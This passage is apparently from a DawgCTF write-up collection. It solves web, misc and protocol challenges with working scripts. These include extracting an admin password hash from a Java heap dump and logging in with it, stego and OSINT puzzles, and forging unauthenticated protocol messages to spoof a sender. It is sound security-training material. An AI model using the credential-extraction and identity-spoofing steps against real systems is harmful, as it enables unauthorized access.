            needed_strings.add(value)

decoded_string_objs = {}
needed_arrays = set()
string_class_id = next(cid for cid, nid in class_name_ids.items() if utf8[nid] == "java/lang/String")

for obj_id in needed_strings:
    class_id, raw = string_instances[obj_id]
    decoded = decode_instance(raw, class_id, classes, utf8, class_name_ids, id_size)
    decoded_string_objs[obj_id] = decoded
    needed_arrays.add(decoded["value"])

primitive_arrays = {}
for tag, body, id_size in record_iter("heapdump.hprof"):
    if tag not in (0x0C, 0x1C):
        continue
    buf = Buf(body, id_size)
    while buf.i < len(body):
        sub = buf.u1()
        if sub in ROOT_SKIP:
            buf.skip(ROOT_SKIP[sub](id_size))
            continue
        if sub == 0x23:
            array_id = buf.ident()
            buf.u4()
            count = buf.u4()
            elem_type = buf.u1()
            raw = buf.read(count * PRIM_SIZES[elem_type])
            if array_id in needed_arrays:
                primitive_arrays[array_id] = (elem_type, raw)
        elif sub == 0x20:
            buf.ident()
            buf.u4()
            buf.ident()
            buf.ident()
            buf.ident()
            buf.ident()
            buf.ident()
            buf.ident()
            buf.u4()
            cp_count = buf.u2()
            for _ in range(cp_count):
                buf.u2()
                buf.typed_value(buf.u1())
            static_count = buf.u2()
            for _ in range(static_count):
                buf.ident()
                buf.typed_value(buf.u1())
            inst_count = buf.u2()
            for _ in range(inst_count):
                buf.ident()
                buf.u1()
        elif sub == 0x21:
            buf.ident()
            buf.u4()
            buf.ident()
            buf.skip(buf.u4())
        elif sub == 0x22:
            buf.ident()
            buf.u4()
            buf.skip(buf.u4() * id_size + id_size)
        elif sub == 0xC3:
            buf.ident()
        elif sub == 0xC4:
            buf.ident()
            buf.u4()
        elif sub == 0xC5:
            buf.ident()
        else:
            raise ValueError(f"unknown heap subtag {sub:#x}")


def resolve_string(obj_id):
    info = decoded_string_objs[obj_id]
    elem_type, raw = primitive_arrays[info["value"]]
    coder = info.get("coder", 0)
    if elem_type == TYPE_BYTE:
        return raw.decode("utf-16-be" if coder == 1 else "latin-1", "replace")
    if elem_type == TYPE_CHAR:
        return raw.decode("utf-16-be", "replace")
    raise ValueError("unexpected string backing array")


for user in decoded_users:
    pretty = {}
    for k, v in user.items():
        pretty[k] = resolve_string(v) if v in decoded_string_objs else v
    if pretty["username"] == "admin":
        print(pretty)
        break
```

Running that script printed the seeded admin object:

```python
{
    'id': 24638324928,
    'username': 'admin',
    'role': 'ROLE_ADMIN',
    'password': 'f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5',
    'fullName': 'System Administrator'
}
```

Then authenticate by sending the leaked hash directly, not the plaintext password:

```bash
jar=$(mktemp)

csrf=$(
  curl -sk --http1.1 -c "$jar" -b "$jar" https://teleleak.umbccd.net/login |
  grep -oP 'name="_csrf" value="\K[^"]+' | head -n1
)

curl -sk --http1.1 -c "$jar" -b "$jar" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -X POST https://teleleak.umbccd.net/login \
  --data-urlencode "username=admin" \
  --data-urlencode "password=f374e70b2d71eb7188c0eda0b6a13d47ca5abd681118de48354f003d8af534f5" \
  --data-urlencode "_csrf=$csrf" \
  -i | sed -n '1,12p'

curl -sk --http1.1 -b "$jar" https://teleleak.umbccd.net/admin/dashboard
```

That returned:

```
Welcome Admin!
Dawgctf{w3b_m3m_Dumpz!}
```

***

## misc

### An Italian Penguin

#### Description

The provided file was `attachments/Penguin_Steg.jpg`. The challenge text says the image has something hidden in it and that "the key is the last word." A later hint was:

```
Search up Linux (To make a duplicate + Spaghetti is a type of what?)
```

That clue reads as `copy + pasta`, so the intended search term is `Linux copypasta`.

#### Solution

First, confirm the image is actually a steghide container:

```bash
steghide info attachments/Penguin_Steg.jpg
```

This reports embedded data, so the remaining problem is the passphrase.

The hint points to the well-known GNU/Linux copypasta ("I'd just like to interject for a moment..."). The challenge says "the key is the last word", and the last word of that copypasta is `GNU/Linux`.

Use that as the steghide password:

```bash
printf 'GNU/Linux\n' > results/copypasta_seed.txt
stegseek -t 1 attachments/Penguin_Steg.jpg results/copypasta_seed.txt
cat Penguin_Steg.jpg.out
```

Equivalent direct extraction:

```bash
steghide extract -sf attachments/Penguin_Steg.jpg -p 'GNU/Linux' -xf payload.txt -f
cat payload.txt
```

The extracted payload contains the flag:

```
DawgCTF{UmActu@LlYIT$GnUL!nUX}
```

### Frequency 3000

#### Description

The local challenge directory only contained `description.md`, which linked to the actual challenge files on GitHub. That folder contained:

* `Space Pilot 3000 Transcript.txt`
* `flag.txt`

`flag.txt` was not the real flag. It contained hex bytes that decoded to:

```
DawgCTF{ 390 1002 580 1314 191 1589 33 1526 141 762 352 88 1293 379 50 }
```

The challenge hint said the message could be solved by "frequenting" Futurama's pilot episode, so the intended approach was frequency analysis against the pilot transcript.

#### Solution

Count character frequencies in `Space Pilot 3000 Transcript.txt`, then map each number in the decoded payload to the closest matching character frequency.

Several values match exactly:

* `390 -> w`
* `1002 -> h`
* `580 -> y`
* `191 -> 0`
* `1589 -> t`
* `33 -> z`
* `141 -> !`
* `762 -> d`
* `352 -> b`
* `88 -> 3`
* `50 -> ?`

The remaining values are off by only 1-2 from nearby transcript character counts:

* `1314 -> n` because `n` appears `1315` times
* `1526 -> o` because `o` appears `1528` times
* `1293 -> r` because `r` appears `1295` times
* `379 -> g` because `g` appears `380` times

That reconstructs:

```
whyn0tzo!db3rg?
```

Final flag:

```
DawgCTF{whyn0tzo!db3rg?}
```

Solver used:

```python
from collections import Counter
from string import ascii_lowercase, digits


def load_encoded_numbers(path: str) -> list[int]:
    ascii_text = bytes.fromhex(open(path, "r", encoding="utf-8").read()).decode()
    inner = ascii_text.split("{", 1)[1].split("}", 1)[0]
    return [int(token) for token in inner.split()]


def decode_from_frequencies(transcript_path: str, numbers: list[int]) -> str:
    counts = Counter(open(transcript_path, "r", encoding="utf-8").read().lower())
    alphabet = ascii_lowercase + digits + "!?"

    decoded = []
    for number in numbers:
        decoded.append(min(alphabet, key=lambda ch: (abs(counts[ch] - number), ch)))
    return "".join(decoded)


if __name__ == "__main__":
    numbers = load_encoded_numbers("flag.txt")
    message = decode_from_frequencies("Space Pilot 3000 Transcript.txt", numbers)
    print(f"DawgCTF{{{message}}}")
```

### Hiding in Plain Sight

#### Description

We are given a single image, `hello.webp`, and told that something is strange about it. The flag format hint says the answer is the name of the person or object found in the image.

#### Solution

The file itself was a normal WebP image with no useful metadata or appended payload, so this was not a container-stego challenge. The intended trick was visual: the image hides a recognizable face in plain sight.

I first confirmed there was no obvious embedded data:

```bash
file attachments/hello.webp
exiftool attachments/hello.webp
binwalk attachments/hello.webp
strings -a -n 6 attachments/hello.webp | head
```

Then I generated a few forensic transforms to make any hidden visual structure easier to see:

```python
from PIL import Image, ImageOps, ImageChops, ImageFilter
import numpy as np

img = Image.open("attachments/hello.webp").convert("RGB")
img.save("hello.png")

arr = np.array(img)

# Grayscale / contrast
gray = ImageOps.grayscale(img)
gray.save("gray.png")
ImageOps.autocontrast(gray).save("gray_autocontrast.png")

# Per-channel views
for i, name in enumerate(["red", "green", "blue"]):
    Image.fromarray(arr[:, :, i], mode="L").save(f"{name}.png")
    ImageOps.autocontrast(
        Image.fromarray(arr[:, :, i], mode="L")
    ).save(f"{name}_auto.png")

# Low-bit visualization
for bits in [1, 2, 3, 4]:
    low = (arr & ((1 << bits) - 1)) * (255 // ((1 << bits) - 1))
    Image.fromarray(low.astype("uint8"), mode="RGB").save(f"low{bits}_bits.png")

# High-pass style view
blur = gray.filter(ImageFilter.GaussianBlur(radius=8))
ImageOps.autocontrast(ImageChops.difference(gray, blur)).save("highpass.png")

# Heavy blur / pixelation to surface the hidden face
for r in [8, 16, 32, 48]:
    img.filter(ImageFilter.GaussianBlur(radius=r)).save(f"blur_{r}.png")
    small = img.resize(
        (max(1, img.width // r), max(1, img.height // r)),
        Image.Resampling.LANCZOS,
    ).resize(img.size, Image.Resampling.NEAREST)
    small.save(f"pixel_{r}.png")
```

After applying the filters and inspecting the image as a whole rather than focusing on the fountain/statue details, the hidden face is Barack Obama.

So the flag is:

```
DawgCTF{Barack_Obama}
```

### Beeps and Boops

#### Description

The challenge provided a note-to-character mapping in `Old_Notes.txt` and a WAV file, `RandomSong.wav`. The obvious intent was to recover a note sequence from the audio, then translate each note through the mapping.

The main complication was that the WAV is strongly harmonic, so naive pitch detection often locks onto overtones instead of the fundamental, especially for low notes. A direct decode produced text close to the answer, but not the exact capitalization and leet substitutions.

#### Solution

The working path was:

1. Read `Old_Notes.txt` as the note-to-character lookup.
2. Notice the audio has about 22 seconds of signal followed by silence.
3. Fit the signal to a regular symbol grid. The best fit was 33 equally spaced symbols at about `0.6645` seconds each, which matches `DawgCTF{...}` length.
4. For each symbol window, compute a spectrum and score every mapped note using a harmonic-comb style scorer.
5. Because low notes were still ambiguous, score whole candidate phrase variants against the per-position note likelihoods instead of trusting per-note top-1 choices.
6. The best-supported candidate was:

```
DawgCTF{N1nT3nD0MaD3ACo0LMacH1n3}
```

Accepted flag:

```
DawgCTF{N1nT3nD0MaD3ACo0LMacH1n3}
```

Solution code used for scoring candidate flags:

```python
#!/usr/bin/env python3
import math
import wave

import numpy as np
from scipy.signal import find_peaks

NAMES = ["C", "C#", "D", "D#", "E", "F", "F#", "G", "G#", "A", "A#", "B"]


def midi_to_name(midi: int) -> str:
    return f"{NAMES[midi % 12]}{midi // 12 - 1}"


def note_freq(midi: int) -> float:
    return 440.0 * 2 ** ((midi - 69) / 12)


char_to_note = {}
note_to_char = {}
for line in open("Old_Notes.txt"):
    line = line.strip()
    if line:
        note, ch = line.split(" - ")
        char_to_note[ch] = note
        note_to_char[note] = ch


with wave.open("RandomSong.wav", "rb") as w:
    sr = w.getframerate()
    audio = np.frombuffer(w.readframes(w.getnframes()), dtype=np.int16).astype(np.float32)

# Active signal is the first ~22 seconds.
audio = audio[: int(sr * 22)]

# Best-fit regular grid found from spectral-change peaks.
period = 0.6645
nseg = 33

seg_char_scores = []
for si in range(nseg):
    start = int(si * period * sr)
    end = int(min(len(audio), (si + 1) * period * sr))
    x = audio[start:end] * np.hanning(end - start)

    spec = np.abs(np.fft.rfft(x))
    freqs = np.fft.rfftfreq(len(x), 1 / sr)
    mask = (freqs >= 50) & (freqs <= 5000)
    spec = spec[mask]
    freqs = freqs[mask]

    peaks, _ = find_peaks(spec, distance=max(3, len(spec) // 2000))
    top = sorted(peaks, key=lambda j: spec[j], reverse=True)[:30]
    peak_freqs = freqs[top]
    peak_mags = spec[top]

    cscore = {}
    for midi in range(12, 108):
        f0 = note_freq(midi)
        score = 0.0
        for f, mag in zip(peak_freqs, peak_mags):
            h = round(f / f0)
            if 1 <= h <= 12:
                err = abs(f - h * f0) / (h * f0)
                if err < 0.018:
                    score += mag / (h ** 0.75) * (1 - err / 0.018)

        # The audio is effectively shifted up one octave relative to the intended map.
        shifted = midi - 12
        if 12 <= shifted <= 107:
            note = midi_to_name(shifted)
            ch = note_to_char.get(note)
            if ch is not None:
                cscore[ch] = max(cscore.get(ch, 0.0), score)
    seg_char_scores.append(cscore)


def score_flag(flag: str) -> float:
    return sum(math.log(seg_char_scores[i].get(ch, 0.0) + 1.0) for i, ch in enumerate(flag))


candidates = [
    "DawgCTF{N1nT3nD0MaD3ACo0LMacH1n3}",
    "DawgCTF{N1nT3nD0MaD3AC00LMacH1n3}",
    "DawgCTF{N1nT3nD0M4D3AC00LM4CH1n3}",
]

for cand in candidates:
    print(score_flag(cand), cand)
```

The top-scoring candidate was the accepted flag.

### HAZMAT

#### Description

"I saw this CRAZY looking truck driving home. Can you figure out what it's carrying?"

An image of a highway with a hazmat truck is provided.

#### Solution

The image shows an **Airgas** tube trailer truck on a highway near UMBC/Catonsville, Maryland.

On the rear panel of the truck there is:

1. A **red diamond DOT hazmat placard** with a flame symbol (Class 2.1 - Flammable Gas) containing **UN number 1049**
2. Text below the placard reading **HYDROGEN COMPRESSED**

UN 1049 corresponds to "Hydrogen, compressed" in the DOT hazardous materials table.

The solution required cropping and enhancing the photo to read the placard number and descriptive text on the rear of the truck, then identifying the material using DOT HAZMAT placard standards.

```python
from PIL import Image, ImageEnhance

img = Image.open('attachments/IMG_5568.jpg')  # 3021x2544
# Crop the truck rear panel area containing the placard
placard = img.crop((730, 1700, 1020, 1970))
placard = placard.resize((placard.width*5, placard.height*5), Image.LANCZOS)
enhancer = ImageEnhance.Contrast(placard)
placard = enhancer.enhance(1.5)
enhancer = ImageEnhance.Sharpness(placard)
placard = enhancer.enhance(3.0)
placard.save('placard_close.jpg')
# Reveals: Red diamond with "1049", flame symbol, and text "HYDROGEN COMPRESSED"
```

**Flag:** `DawgCTF{COMPRESSED_HYDROGEN}`

### HAZMAT III

#### Description

Apparently corporate says I have to deliver this really weird looking green vat somewhere, can you help me figure out what number I should put on my placard when I transport this? Your flag will look like `DawgCTF{5661}.`

#### Solution

The local challenge directory did not include the image, so I searched the synced organizer repo already present elsewhere in the workspace and recovered the missing asset:

* `/home/ubu/ctf/competitions/dawg26/fwn/01_gen_z_found_my_registry/repo/HAZMAT (I,II,III)/HAZMAT III/goop.jpg`

The image shows a gray vat filled with fluorescent yellow-green liquid and a label reading `UCARTHERM` and `SEE MSDS`.

That identifies the product family as Dow `UCARTHERM` heat-transfer fluid. The fluorescent yellow-green dyed variant matches the Dow/UCARTHERM ethylene-glycol heat-transfer fluid line. The transport information for this fluid lists the DOT bulk identification number as `NA3082`, which is the placard number shown as `3082`.

Submitted flag:

* `DawgCTF{3082}`

### crazy? i was crazy once! they locked me in a

#### Description

The challenge source only contained a single file, `crazy.txt`, which repeats the same sentence over and over with progressively more leetspeak substitutions.

Each repetition ends with a 3-character fragment after the transformed `it drove me ...` phrase. Those fragments are the flag split into 3-byte chunks, written in reverse chunk order, with each chunk itself reversed.

One chunk in the file is inconsistent with the standard DawgCTF prefix, but the intended prefix is obvious and the corrected flag is what the scoreboard accepted.

#### Solution

Extract the 3-character fragments, reverse the fragment list, then reverse each fragment:

```python
#!/usr/bin/env python3
import re
from pathlib import Path

s = Path("crazy.txt").read_text()

pat = re.compile(
    r"(?:it|1t|17)\s+"
    r"(?:drove|drov3|dr0v3|\|\)r0v3|\|\)\|20v3)\s+"
    r"(?:me|m3|/\\\/\\3)\s+"
    r"(\S{3})(?=\s|$)"
)

frags = pat.findall(s)
print(frags)

decoded = "".join(x[::-1] for x in frags[::-1])
print(decoded)
```

This prints:

```
DawF{iF{i_have_lost_all_control_of_my_life_please_send_help}
```

The entire payload is clearly readable except for the broken prefix chunk. Replacing the malformed prefix with the standard DawgCTF prefix gives the accepted flag:

```
DawgCTF{i_have_lost_all_control_of_my_life_please_send_help}
```

### Hiding in Plain Sight 2

#### Description

We are given a single image, `attachments/ps2.png`, and told that “something here seems a little off.” The flag is the name of the hidden person or object.

#### Solution

This is an image-steganography challenge. The PNG looks like a normal landscape at first glance, but the low bitplanes contain hidden data.

The quickest reliable path was:

1. Split the PNG into RGB channels.
2. Extract each bitplane from each channel.
3. Recombine the least significant bit of each RGB channel into a new RGB image.

That LSB composite clearly reveals a hidden portrait of John Cena on the left side of the image, which matches the joke/theme of “hiding in plain sight.”

Flag:

```
DawgCTF{John_Cena}
```

Solution code:

```python
from pathlib import Path

from PIL import Image


ROOT = Path(__file__).resolve().parent
SRC = ROOT / "attachments" / "ps2.png"
OUT = ROOT / "analysis"


def save_image(img: Image.Image, name: str) -> None:
    OUT.mkdir(exist_ok=True)
    img.save(OUT / name)


def main() -> None:
    img = Image.open(SRC).convert("RGB")
    r, g, b = img.split()

    save_image(r, "channel_r.png")
    save_image(g, "channel_g.png")
    save_image(b, "channel_b.png")

    for channel_name, channel in zip("rgb", (r, g, b)):
        for bit in range(8):
            plane = channel.point(lambda px, bit=bit: 255 if (px >> bit) & 1 else 0)
            save_image(plane, f"{channel_name}_bit{bit}.png")

    rgb_lsb = Image.merge(
        "RGB",
        tuple(channel.point(lambda px: 255 if px & 1 else 0) for channel in (r, g, b)),
    )
    save_image(rgb_lsb, "rgb_lsb.png")


if __name__ == "__main__":
    main()
```

Run it with:

```bash
python3 solve.py
```

The important output is:

```
analysis/rgb_lsb.png
```

Opening that file reveals John Cena directly.

### ZAP!

#### Description

The challenge gives three photos of an insulator and points to the NIA suspension catalog. The goal is to identify the correct `ST-*` style number and submit it as `DawgCTF{ST-XXXX}`.

#### Solution

The object is a porcelain suspension insulator. The NIA catalog made it clear the challenge piece belonged to the 10-inch suspension family around `ST-4625` / `ST-4626`.

The useful path was:

1. Compare the shell shape and underside rings against nearby NIA candidates.
2. Read as much of the shell marking as possible from the close-up.
3. Restrict the candidate set to styles whose published NIA markings actually fit what was visible.

The challenge photos were:

* zap1.jpg
* zap2.jpg
* zap3.jpg

I used a few light crops to make the stamped areas easier to inspect:

```bash
mkdir -p derived

convert zap/zap1.jpg \
  -crop 1800x1800+400+1800 +repage \
  -sigmoidal-contrast 6,50% -sharpen 0x1 \
  derived/zap1_lower_large.png

convert zap/zap3.jpg \
  -crop 1700x1700+700+150 +repage \
  -colorspace Gray -contrast-stretch 1%x1% \
  -sigmoidal-contrast 8,55% -sharpen 0x1 \
  derived/zap3_cap_crop.png
```

The important read from the marking was:

* `20000`
* `LOCKE`
* `1840` visible above on the cap area

That immediately killed the UK and Lapp branches and left the Locke-family 10-inch styles as the only serious candidates.

I then pulled the relevant NIA pages:

```bash
for u in st4625 st4626 st4626f; do
  echo "### $u"
  curl -L -s "https://www.nia.org/general/suspensions/text/$u.htm" \
    | rg -n 'title>|Diameter|LOCKE|\{Locke\}|Additional reports|<li>'
done
```

That gave the key published markings:

* `ST-4625`
  * additional Locke reports:
    * `LOCKE / year / USA`
    * `LOCKE / 15000 TEST / 30000 M&E`
* `ST-4626`
  * `LOCKE / 20000 TEST / 10000 M&E // 43 84 / U.S.A.`
* `ST-4626F`
  * `LOCKE / 10000 TEST / 20000 M&E`

`ST-4626` looked strongest at first because it contains the exact `LOCKE` + `20000` pair, but that submission was wrong. After that, the best remaining fit was `ST-4626F`:

* same 10-inch Locke shell family
* same general shell geometry as the challenge piece
* still contains the visible `20000` and `LOCKE`
* explains why only a partial read from the blurry mark was available

Final correct submission:

Accepted flag:

```
DawgCTF{ST-4626F}
```

### ZAP! II

#### Description

Part II asks for the **model number** of the same insulator from `ZAP! I`. The sample flag format is `DawgCTF{30S255}`.

#### Solution

The key point was to use the result from `ZAP! I` first:

* `ZAP! I` accepted `DawgCTF{ST-4626F}`

So the real task in part II was not “guess from the photos again”, but:

1. take the accepted style `ST-4626F`
2. identify what manufacturer/model that style corresponds to
3. submit the Locke model number

I pulled the `ST-4626F` style data and reference images:

```bash
curl -L -A 'Mozilla/5.0' -s \
  'https://www.nia.org/general/suspensions/text/st4626f.htm' \
  -o analysis/st4626f_nia.html

curl -k -L -A 'Mozilla/5.0' -s \
  'https://www.allinsulators.com/photos/ST/4500-4749.php' \
  -o analysis/allins_page.html

rg -n -C 3 'ST-4626F|10000 TEST / 20000 M&E|Locke' analysis/allins_page.html
```

That gave the important published `ST-4626F` entry:

* size: `10"` / `254mm`
* manufacturer shown: `Locke`
* shell marking: `LOCKE / 10000 TEST / 20000 M&E`

Then I downloaded the official manufacturer cross-reference and drawings:

```bash
curl -L -A 'Mozilla/5.0' -s \
  'https://www.newellporcelain.com/cross-reference-tables/1000/' \
  -o analysis/newell.html

curl -L -A 'Mozilla/5.0' -s \
  'https://upload.wikimedia.org/wikipedia/commons/9/94/List_of_materials_-_acceptable_for_use_on_systems_of_REA_electrification_borrowers_%28IA_CAT80732032008%29.pdf' \
  -o analysis/rea_old.pdf

pdftotext -layout analysis/rea_old.pdf - \
  | sed -n '1190,1228p'

curl -L -A 'Mozilla/5.0' -s \
  'https://powergrid.wpenginepowered.com/wp-content/uploads/sites/3/2021/07/2325230-7001.pdf' \
  -o analysis/2325230.pdf

curl -L -A 'Mozilla/5.0' -s \
  'https://powergrid.wpenginepowered.com/wp-content/uploads/sites/3/2021/07/2325240-7001.pdf' \
  -o analysis/2325240.pdf

pdftoppm -png analysis/2325230.pdf analysis/2325230
pdftoppm -png analysis/2325240.pdf analysis/2325240
```

The useful table from the REA materials list was:

* ANSI `52-3` -> Locke `20S840`
* ANSI `52-4` -> Locke `20S580`
* ANSI `52-5` -> Locke `30S255`
* ANSI `52-6` -> Locke `30S257`

The deciding step was the hardware type:

* `ST-4626F` reference photos show the **ball-and-socket** branch, not the clevis branch
* the official `2325230` drawing is the 20k ball-and-socket unit
* the official `2325240` drawing is the 20k clevis unit
* `ST-4626F` matches the ball-and-socket side, so it maps to the Locke `52-3` family, not `52-4`

That leaves the Locke model number:

* `20S840`

Accepted flag:

```
DawgCTF{20S840}
```

### HAZMAT II

#### Description

I saw another crazy looking truck! This one looks even scarier... can you identify the type of storage container being used here?

Your answer will look like `DawgCTF{INTERMODAL_CONTAINER}`

Hint used:

`If you're having trouble finding info, consider that this is clearly in the US, and the US highly regulates what's on that trailer. Also note this is NOT the model of container, but the classification type that the container falls into. It should be concise, so only the name and the word type, e.g "TYPE_QUADRO" or "TITANIUM_TYPE", not "TYPE_CHARLIE_FISSILE" or "FISSILE_TYPE_DOE_UMBRA".`

#### Solution

The image shows several nuclear-material transport packages on a trailer. Cropping the label on the front of the package makes the important text readable:

* `RADIOACTIVE MATERIAL`
* `URANIUM HEXAFLUORIDE`
* `FISSILE UN 2977`
* `MODEL UX-30`
* `... TYPE B(U)`

The misleading part is `MODEL UX-30`: that is the package model, but the hint explicitly says the flag is **not** the model and instead asks for the **classification type**.

For radioactive-material transport in the US, `Type B` is the regulatory package classification. The `U` in `B(U)` is the approval subtype marking, but the actual concise classification name is `Type B`.

So the flag is:

* `DawgCTF{TYPE_B}`

### Through the Looking Bit

#### Description

A certain university hosts a mirror. If you interact with it the right way, it will greet you. Just remember: reflections aren't always true.

#### Solution

The challenge hints at a university mirror (software repository mirror) that should be interacted with "the right way." Since this is DawgCTF (run by UMBC), the target is the **UMBC Linux User's Group mirror** at `mirror.lug.umbc.edu`.

**Step 1: Connect via rsync**

Connecting with rsync reveals a custom MOTD/banner containing binary digits (0s and 1s) arranged in a circular shape, with a UMBC ASCII art logo in the center:

```bash
rsync rsync://mirror.lug.umbc.edu/
```

The banner contains rows of `0` and `1` characters forming a diamond/ellipse pattern, with the UMBC logo overlaid in the center obscuring some bits.

**Step 2: Extract and decode the binary data**

The key insight is that the `0` and `1` characters in the banner ARE the data. To decode:

1. Extract only the actual `0`/`1` characters from the banner, ignoring spaces (background padding) and the ASCII logo area
2. Invert all bits (`0` -> `1`, `1` -> `0`) - as hinted by "reflections aren't always true"
3. Read the resulting bitstream as 8-bit ASCII

```python
with open('live_banner.txt') as f:
    banner = f.readlines()

# Collect lines that contain binary digits
data_lines = []
for line in banner:
    stripped = line.rstrip('\n')
    if any(c in '01' for c in stripped):
        data_lines.append(stripped)

# Extract only 0/1 characters, inverted
data_bits = []
for line in data_lines:
    for ch in line:
        if ch == '0':
            data_bits.append('1')  # invert
        elif ch == '1':
            data_bits.append('0')  # invert

bitstr = ''.join(data_bits)

# Decode as 8-bit ASCII
text = ''
for i in range(0, len(bitstr) - 7, 8):
    byte = int(bitstr[i:i+8], 2)
    text += chr(byte) if 32 <= byte <= 126 else '?'
print(text)
```

The decoded message is a repeating 34-character string: `DawgCTF{R3ync_1s_b3tt3r_th5n_http}`

The bits behind the UMBC logo are simply skipped - since the flag repeats, we have enough visible bits to reconstruct the full message without needing to guess the hidden values.

**Flag:** `DawgCTF{R3ync_1s_b3tt3r_th5n_http}`

The message "Rsync is better than HTTP" references the fact that the flag was only accessible via the rsync protocol (through the MOTD banner), not through HTTP.

### Mr. Worldwide

#### Description

The server sends a weighted adjacency matrix for a graph and asks for the `minimum tour distance`. The graph is complete and the correct interpretation is the Traveling Salesman Problem on a closed tour: start at one node, visit every node exactly once, and return to the start.

The remote instance is time-sensitive, so a native solver is the safest approach.

#### Solution

I used Held-Karp dynamic programming for exact TSP. To reduce states, I fixed node `0` as the starting node and only tracked subsets of the other `n-1` nodes.

State:

`dp[mask][j] = minimum cost to start at node 0, visit exactly the nodes in mask, and end at node j`

Transition:

`dp[mask | (1 << (k-1))][k] = min(dp[mask][j] + dist[j][k])`

Final answer:

`min(dp[full_mask][j] + dist[j][0])`

Because the server starts timing immediately, I wrote the socket client and solver in the same C++ program so it could parse the matrix, solve it, and reply without shell or subprocess overhead.

Solution code:

```cpp
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#include <bits/stdc++.h>
using namespace std;

static const int INF = 1e9;

int tsp(const vector<vector<int>>& a, bool cycle) {
    int n = (int)a.size();
    if (n <= 1) return 0;
    int m = n - 1;
    int states = 1 << m;
    vector<int> dp(states * n, INF);

    for (int j = 1; j < n; ++j) {
        dp[((1 << (j - 1)) * n) + j] = a[0][j];
    }

    for (int mask = 1; mask < states; ++mask) {
        int base = mask * n;
        for (int j = 1; j < n; ++j) {
            if (!(mask & (1 << (j - 1)))) continue;
            int cur = dp[base + j];
            if (cur == INF) continue;
            int rem = (states - 1) ^ mask;
            while (rem) {
                int bit = rem & -rem;
                int k = __builtin_ctz((unsigned)bit) + 1;
                int& nxt = dp[((mask | bit) * n) + k];
                int cand = cur + a[j][k];
                if (cand < nxt) nxt = cand;
                rem -= bit;
            }
        }
    }

    int full = states - 1;
    int ans = INF;
    for (int j = 1; j < n; ++j) {
        int cand = dp[full * n + j];
        if (cycle) cand += a[j][0];
        ans = min(ans, cand);
    }
    return ans;
}

struct Parser {
    vector<int> nums;
    string pending;

    void feed(const string& s) {
        for (char c : s) {
            if (c >= '0' && c <= '9') {
                pending.push_back(c);
            } else if (!pending.empty()) {
                nums.push_back(stoi(pending));
                pending.clear();
            }
        }
    }

    bool has_graph() const {
        if (nums.empty()) return false;
        int n = nums[0];
        if (n <= 0 || n > 25) return false;
        return (int)nums.size() >= 1 + n * n;
    }

    vector<vector<int>> pop_graph() {
        int n = nums[0];
        vector<vector<int>> a(n, vector<int>(n));
        int idx = 1;
        for (int i = 0; i < n; ++i) {
            for (int j = 0; j < n; ++j) {
                a[i][j] = nums[idx++];
            }
        }
        nums.erase(nums.begin(), nums.begin() + idx);
        return a;
    }
};

int connect_remote(const char* host, const char* port) {
    addrinfo hints{};
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    addrinfo* res = nullptr;
    int rc = getaddrinfo(host, port, &hints, &res);
    if (rc != 0) {
        cerr << "getaddrinfo: " << gai_strerror(rc) << "\n";
        return -1;
    }

    int fd = -1;
    for (addrinfo* p = res; p; p = p->ai_next) {
        fd = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
        if (fd == -1) continue;
        if (connect(fd, p->ai_addr, p->ai_addrlen) == 0) break;
        close(fd);
        fd = -1;
    }
    freeaddrinfo(res);
    return fd;
}

int main(int argc, char** argv) {
    bool cycle = true;
    if (argc > 1) {
        string mode = argv[1];
        if (mode == "path") cycle = false;
        else if (mode != "cycle") {
            cerr << "usage: " << argv[0] << " [cycle|path]\n";
            return 1;
        }
    }

    int fd = connect_remote("nc.umbccd.net", "23456");
    if (fd == -1) {
        cerr << "connect failed\n";
        return 1;
    }

    Parser parser;
    char buf[8192];
    while (true) {
        ssize_t nread = recv(fd, buf, sizeof(buf), 0);
        if (nread <= 0) break;

        string chunk(buf, buf + nread);
        cout << chunk << flush;
        parser.feed(chunk);

        while (parser.has_graph()) {
            auto graph = parser.pop_graph();
            int ans = tsp(graph, cycle);
            string out = to_string(ans) + "\n";
            ssize_t sent = send(fd, out.data(), out.size(), 0);
            if (sent < 0) {
                cerr << "send failed\n";
                close(fd);
                return 1;
            }
            cerr << "[sent] " << ans << "\n";
        }
    }

    close(fd);
    return 0;
}
```

Build and run:

```bash
g++ -O3 -std=c++17 remote_solver.cpp -o remote_solver
./remote_solver cycle
```

Flag:

`DawgCTF{wh4t_l4ngu4ag3_d1d_y0u_us3?}`

***

## proto

### Protocol Analysis 1: Can You Hear Me?

#### Description

The local `description.md` only links to the shared Protocol Analysis PDF. In challenge 1, Bob expects a plaintext message with a fixed format:

`"Hello", bob, "this is", alice, "give me the flag"`

If he receives that message, he replies in plaintext with:

`"here it is", [FLAG]`

Since there is no authentication or encryption, the attacker can send Bob the expected message directly and read the flag from his response.

#### Solution

Create a challenge instance, then send Bob the exact content he expects:

```bash
curl -sS -X POST 'https://protocols.live/model/1' \
  -H 'Content-Type: application/json' \
  -d '{}'
```

Example response:

```json
{"conn_id":49680248633183}
```

Use that `conn_id` in a request to Bob:

```bash
curl -sS -X POST 'https://protocols.live/bob' \
  -H 'Content-Type: application/json' \
  -d '{"conn_id":49680248633183,"content":"t:Hello|n:bob|t:this is|n:alice|t:give me the flag"}'
```

Response:

```json
{"content":"t:here it is|t:DawgCTF{PR0T0C0LS_R_3ZPZ}"}
```

Flag:

```
DawgCTF{PR0T0C0LS_R_3ZPZ}
```

### Protocol Analysis 2: Liar

#### Description

Bob only releases the flag if the speaker identifies themself as `charlie`, but Alice’s script says `alice`. The protocol has no authentication, so the attacker can relay Alice’s first message to Bob after changing only the claimed sender name.

#### Solution

Start a fresh instance for model 2, ask Alice for her first outbound message, replace `n:alice` with `n:charlie`, and forward the modified message to Bob. Bob accepts the forged identity claim and returns the flag.

```python
#!/usr/bin/env python3
import json
import urllib.request


BASE = "https://protocols.live"


def post(path: str, payload: dict | None = None) -> dict:
    data = b"" if payload is None else json.dumps(payload).encode()
    headers = {} if payload is None else {"Content-Type": "application/json"}
    req = urllib.request.Request(f"{BASE}{path}", data=data, method="POST", headers=headers)
    with urllib.request.urlopen(req, timeout=20) as resp:
        return json.loads(resp.read().decode())


def main() -> None:
    conn_id = post("/model/2")["conn_id"]
